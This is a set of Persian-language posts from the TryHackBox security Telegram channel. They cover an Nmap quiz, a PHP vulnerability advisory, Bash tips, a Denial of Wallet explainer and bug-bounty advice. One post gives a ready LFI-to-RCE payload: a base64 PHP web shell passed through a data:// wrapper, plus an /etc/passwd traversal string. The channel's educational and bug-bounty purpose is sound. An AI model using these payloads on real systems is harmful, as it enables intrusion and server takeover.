Телеграм канал «TryHackBox»

مرحله شناسایی با Nmap

فرض کنید به ‌عنوان کارشناس تست نفوذ، در حال ارزیابی امنیتی یک سرور سازمانی هستید. کارفرما مجوز اسکن یک میزبان مشخص را صادر کرده و آدرس IP آن را در اختیار شما قرار داده است.

در ابتدای ارزیابی، هیچ اطلاعات دقیقی درباره سرویس ‌های فعال روی سرور ندارید. نمی ‌دانید کدام پورت ‌ها باز هستند، چه سرویس ‌هایی روی آن ‌ها اجرا می‌شوند یا نسخه نرم‌افزارهای در حال اجرا چیست.

وظیفه شما این است که پیش از ورود به مراحل بعدی تست نفوذ، یک شناسایی اولیه و جامع از سرویس ‌های در دسترس سرور انجام دهید.

الزامات این مرحله:
تمام پورت ‌های TCP از 1 تا 65535 بررسی شوند، نه فقط پورت ‌های رایج.
تلاش شود نام و نسخه سرویس ‌های شناسایی ‌شده مشخص شود.
اسکریپت ‌های پیش ‌فرض Nmap برای جمع ‌آوری اطلاعات تکمیلی اجرا شوند.
اگر میزبان به درخواست‌های Ping پاسخ نداد، اسکن صرفاً به همین دلیل متوقف نشود.
جزئیات روند اجرای اسکن در خروجی نمایش داده شود.

🎯 سؤال چالش:
اگر قرار باشد تمام این الزامات را با یک دستور Nmap پیاده‌سازی کنید، چه دستوری می ‌نویسید؟

💬 پاسخ خود را در کامنت بنویسید و کاربرد هر فلگ را توضیح دهید.



لینک گروه :
telemetr.me/+XPV3S0tygl1lZGE0

@TryHackBox

🎙️ Zero Talk | گفتگوهایی از جنس تجربه

📌 امنیت فقط یاد گرفتن ابزارها و خوندن کتابها نیست.
📌 گاهی یک گفت‌وگو با کسی که این مسیر رو از نزدیک تجربه کرده، میتونه چیزهایی بهت یاد بده که توی هیچ دوره‌ای پیدا نمیکنی.

📌 در Zero Talk درباره مسیر ورود به دنیای امنیت، تجربه‌های واقعی، چالشهای کاری، اشتباهات و چیزهایی صحبت میکنیم که معمولاً کمتر درباره‌شون حرف زده میشه.

⭕ تا امروز ۱۵ قسمت از این گفتگوها منتشر شده.
🎧 شاید بعضی از جواب‌هایی که دنبالشون هستی، توی یکی از همین گفتگوها باشه.

📌 در RadioZeroPod درباره موضوعات مختلف دنیای امنیت صحبت میکنیم؛ از داستان هکرها و پرونده‌های واقعی گرفته تا OSINT، مهندسی اجتماعی،حریم خصوصی، تهدیدات سایبری، هوش مصنوعی و موارد دیگه ... .

📌 رادیو زیرو پاد رو از دست نده.

لینک عضویت برای 100 نفر از عزیزان :
🔗telemetr.me/+mMPojNZ97Es2MTJk

ا🚨 PHP2Shell؛ وقتی چند ساعت تأخیر در پچ کردن میتواند دردسرساز شود

تصور کنید یک آسیب‌ پذیری بحرانی در PHP منتشر میشود و فقط چند ساعت بعد، موجی از تلاش‌ ها برای سوءاستفاده از آن به راه می‌ افتد. در چنین شرایطی، دیگر فرصت زیادی برای به تعویق انداختن به‌ روزرسانی‌ ها وجود ندارد.
طبق گزارش منتشر شده در ۲۱ اکتبر ۲۰۲۶، دو آسیب‌پذیری با شناسه‌ های CVE-2026-109618 و CVE-2026-109619 با نام PHP2Shell مطرح شده‌ اند. در این گزارش، امتیاز شدت هر دو آسیب‌ پذیری CVSS 9.2 اعلام شده و از افزایش سریع تلاش‌ ها برای exploitation از آن‌ ها صحبت شده است.

توجه: پیش از استناد به شناسه‌ ها، امتیاز ها، آمار حملات و نسخه‌ های اصلاح‌ شده، اطلاعیه‌ های رسمی PHP و منابع امنیتی مرتبط را بررسی کنید.

🔍 مشکل دقیقاً چیست؟

بر اساس اطلاعات گزارش‌ شده، این دو آسیب‌ پذیری به نحوه مدیریت حافظه در PHP مربوط هستند:
ا▪️ Out-of-Memory: مشکلات مرتبط با اتمام حافظه و نحوه مدیریت این وضعیت.
ا▪️ Use-After-Free: استفاده از حافظه‌ای که قبلاً آزاد شده است؛ مشکلی که در شرایط خاص می‌ تواند زمینه‌ ساز رفتار غیرمنتظره یا اجرای حمله شود.

خطر اصلی زمانی مشخص میشود که مهاجم بتواند از این ضعف‌ ها برای اجرای کد روی سرور استفاده کند. در چنین شرایطی، بسته به سطح دسترسی فرایند PHP و پیکربندی محیط، اطلاعات حساس، توکن‌ ها، رمزهای عبور و کلیدهای API ممکن است در معرض خطر قرار بگیرند.

🎯 چه کسانی باید نگران باشند؟

اگر سرور یا وب‌ سایت شما با PHP کار میکند، بهتر است وضعیت آن را بررسی کنید. این موضوع میتواند برای محیط‌ های زیر اهمیت داشته باشد:

Apache با mod_php

Nginx با PHP-FPM

LiteSpeed و FrankenPHP

وب‌سایت‌ های WordPress و سایر برنامه‌ های مبتنی بر PHP

البته استفاده از این فناوری‌ ها به‌ تنهایی به معنای آسیب‌ پذیر بودن سرور نیست؛

🛡️ چه کارهایی باید انجام دهید؟

۱. نسخه PHP را بررسی کنید.
php -v
این دستور نسخه PHP در محیط CLI را نشان میدهد. اگر برنامه شما از PHP-FPM یا سرویس دیگری استفاده میکند، نسخه واقعی مورد استفاده وب‌ سرور را هم بررسی کنید.

۲. وضعیت پچ امنیتی را مشخص کنید.
اطلاعیه رسمی PHP را بررسی کنید و در صورت قرار داشتن نسخه شما در محدوده آسیب‌پذیر، به نسخه اصلاح‌ شده و پشتیبانی‌ شده ارتقا دهید. شماره نسخه‌ های اعلام‌ شده در گزارش‌ های غیررسمی را بدون تطبیق با منابع اصلی مبنا قرار ندهید.

۳. اگر فعلاً امکان به‌ روزرسانی ندارید، سطح دسترسی را محدود کنید.
بسته به شرایط، محدود کردن دسترسی از اینترنت یا غیرفعال‌ کردن موقت سرویس می‌ تواند ریسک را کاهش دهد.

۴. به WAF اکتفا نکنید.
قواعد WAF و قابلیت‌ های امنیتی CDN ممکن است بخشی از درخواست‌ های مخرب را مسدود کنند، اما جای پچ امنیتی را نمیگیرند.

۵. اگر احتمال میدهید سرور هدف حمله قرار گرفته، فقط به به‌روزرسانی بسنده نکنید.
لاگ‌ های وب‌ سرور، فرایندهای غیرعادی، ارتباطات خروجی و احتمال دسترسی به اطلاعات حساس را بررسی کنید. اگر نشانه‌ای از نفوذ پیدا شد، موضوع را به‌ عنوان یک رخداد امنیتی جدی پیگیری کنید.

💡 نکته‌ای که نباید فراموش کنیم

برای یک متخصص تست نفوذ، بررسی نسخه نرم‌افزار فقط نقطه شروع است. باید مشخص شود آسیب‌ پذیری تحت چه شرایطی قابل بهره‌برداری است، در صورت موفقیت چه سطح دسترسی‌ ای به دست می‌ آید و چه دارایی‌ هایی ممکن است در معرض خطر قرار بگیرند.
از طرف دیگر، برای تیم‌ های دفاعی، سرعت واکنش اهمیت زیادی دارد. هرچه فاصله انتشار آسیب‌ پذیری تا در دسترس قرار گرفتن روش‌ های exploitation کمتر شود، فرصت بیشتری برای مهاجمان و زمان کمتری برای تیم‌ های امنیتی باقی میماند.

اگر مسئول نگهداری یک سرور هستید، بررسی پچ های امنیتی را به زمان دیگری موکول نکنید. اگر هم در مسیر یادگیری تست نفوذ هستید، این رخدادها فرصت خوبی‌ اند تا ارتباط میان آسیب‌پذیری، exploitation و پیامدهای واقعی آن را بهتر بشناسید.

- TryHackBox
@TryHackBox

⚡ سری Bash برای باگ هانترها

قسمت ۲

چندین folder رو با one-liner بساز: 
mkdir {dev,test,prod}
این command همزمان ۳ directory (dev، test، prod) میسازه.

ایجاد چندین File به طور Efficient: 
touch {file1,file2,file3}.txt
Fileها مثل file1.txt، file2.txt، file3.txt ساخته میشن.

تولید Fileها با Numeric Sequences: 
seq -w 1 10 | xargs -I {} touch file{}.txt

این sequence fileهایی مثل: 
file01.txt، file02.txt، file03.txt.... تا file10.txt می‌سازه.

با pro Bash commandها bug huntingت رو boost کن must برای هر hacker! 
فراموش نکن react کن 🔥


@TryHackBox
#باگ_بانتی

🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡

LFI
داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن:

مثال param vulnerable: 

page=../../../../etc/passwd

حالا PHP shellت رو با base64 encoding بساز: 
echo '<?php system($_GET["cmd"]);?>' | base64
نتیجه رو می‌گیری: 
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
URL-encodeش کن: 
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D

Payload نهایی (با data:// wrapper): 
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id 
BOOM! Remote Code Execution. 💥

من یه روش wild هم دارم برای رفتن از LFI به RCE با استفاده از leaked phpinfo() page. می‌خوای؟ بگو بدونم.

کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن


@TryHackBox
#باگ_بانتی

🧠 نکته باگ بانتی حملات Denial of Wallet 💸

شنیدی Denial of Service رو... اما Denial of Wallet چی؟

🔍 حمله Denial of Wallet (DoW) وقتیه که attacker یه feature رایگان برای کاربرها رو abuse میکنه، اما برای شرکت هزینه داره منابع، credits یا cloud budget رو drain میکنه.

🚨 چطور کار میکنه؟ بهش میگن cost amplification attack – attacker یه قرون خرج نمیکنه، اما هر بار action trigger بشه، شرکت پول میده.

💥 تارگت‌های رایج در برنامه‌های باگ بانتی:

Cloud Functions (مثل AWS Lambda، Azure Functions) 
مثال: یه search feature عمومی Lambda function رو call میکنه. ۱۰,۰۰۰ request اتوماتیک بفرستی boom، bill AWS شرکت spike میشه 📈.

Email/SMS APIs 
مثال: feature signup/login OTP via Twilio یا SendGrid می‌ فرسته. بدون rate-limiting؟ میتونی credits رو با generate کردن endless verification code به burner emailها یا شماره‌ها drain کنی.

AI Chatbots (مثل OpenAI، Claude APIs) 
مثال: شرکت LLM bot رو integrate کرده. هر chat ~$0.01+ هزینه داره. script endless interaction بنویسی هر response یه costly API callه.

💡 الهام واقعی از دنیای واقعی 
طبق مقاله PortSwigger:

"یه researcher endpoint serverless شرکت رو abuse کرد و Lambda functionهای costly رو trigger کرد bill رو با zero rate-limiting rack up کرد."

تصور کن $5,000 potential cloud misuse از یه endpoint vulnerable گزارش بدی. حالا این high-severity bugه.

🛡️ چیزی که به عنوان Bug Hunter باید دنبالش باشی:

⦁ Public feature هایی که server-side logic trigger میکنن
⦁ APIها بدون authentication یا usage cap
⦁ بدون CAPTCHA یا rate-limiting
⦁ LLM-based botها یا dynamic content generation بدون user restriction
⦁ فرصت‌ های abuse email/SMS OTP یا notification

✅ نکته‌ها قبل از Report:

⦁ Cost impact رو demonstrate کن (مثل "این endpoint OpenAI API استفاده میکنه. X request = $Y.")
⦁ Unrestricted access رو prove کن (بدون auth/rate-limiting)
⦁ Mitigation پیشنهاد بده مثل usage quota، CAPTCHA یا billing cap

💰 این باگ‌ها اغلب plain sight مخفی‌ ان، اما real financial damage میزنن که باعث میشه favorite برای high bounty payoutها بشن.

کدوم DoW attack رو در cloud function یا AI API تست کردی که bill spike کرد و bounty داد؟ تجربت رو کامنت کن.


@TryHackBox
#باگ_بانتی

🔥 ۱. کمتر یاد بگیر، بیشتر تمرین کن.

🔥 ۲. ابزارها بدون دانش core هیچی نیستن.

🔥 ۳. دنبال کردن باگ‌ های basic تو رو elite نمیکنه.

ا🔥 ۴. Pro hunterها exploitهای جدید میسازن، نه کپی قدیمی‌ ها رو.

🔥 ۵. فراتر از checklistها فکر کن مثل یه attacker فکر کن.

کدوم نکته‌ش برات جالب‌ تر بود ؟


@TryHackBox
#باگ_بانتی